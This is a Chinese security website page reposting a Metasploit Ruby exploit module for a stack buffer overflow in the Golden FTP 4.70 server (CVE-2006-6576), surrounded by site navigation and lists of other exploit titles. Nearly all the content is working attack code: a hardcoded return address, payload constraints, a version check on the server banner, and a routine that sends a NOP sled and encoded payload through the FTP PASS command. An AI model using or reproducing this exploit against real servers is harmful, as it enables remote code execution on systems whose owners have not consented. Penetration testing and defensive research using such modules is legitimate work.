首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
GoldenFTP PASS Stack Buffer Overflow
来源:http://www.metasploit.com 作者:bannedit 发布时间:2011-06-07  
#
# $Id: goldenftp_pass_bof.rb 12816 2011-06-02 12:24:25Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'GoldenFTP PASS Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerability in the Golden
				FTP service. This module uses the PASS command to trigger the overflow.
			},
			'Author'         => [ 'bannedit' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 12816 
, 'References' => [ [ 'CVE', '2006-6576'], [ 'OSVDB', '35951'], [ 'BID', '45957 '], [ 'URL', 'http://www.exploit-db.com/exploits/16036/'], ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Privileged' => false, 'Payload' => { 'Space' => 350, 'BadChars' => "\x00\x0a\x0d", }, 'Platform' => ['win'], 'Targets' => [ [ 'Golden FTP 4.70 Universal', # Tested OK - bannedit 05/31/2011 { 'Platform' => 'win', 'Ret' => 0x00a93ca6, }, ] ], 'DisclosureDate' => 'Jan 23 2011')) end def check connect disconnect print_status("FTP Banner: #{banner}".strip) if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70" return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit if datastore['RHOST'].length < 15 pad = make_nops(1) * (15 - datastore['RHOST'].length) end sploit = make_nops(4) * 38 sploit << payload.encoded sploit << pad sploit << make_nops(1) * (528 - sploit.length) sploit << [target.ret].pack('V') print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}") begin connect send_user("anonymous") send_cmd(['PASS', sploit], false) handler rescue EOFError end end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Kleophatra v0.1.5 'TinyBrowser
·CoolPlayer Portable 2.19.2 (.m
·(Firefox & Safari & IE / RealP
·IP Power 9258+ Authentication
·IBM Tivoli Endpoint 4.1.1 Remo
·Cisco AnyConnect VPN Client Ac
·The KMPlayer 3.0.0.1440 .mp3 B
·VLC Media Player XSPF Local Fi
·1ClickUnzip 3.00 .ZIP File Hea
·Linux/x86-32 - ConnectBack wit
·OpenDrive <= 1.3.141 Local Pas
·ActFax Server FTP Remote BOF (
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved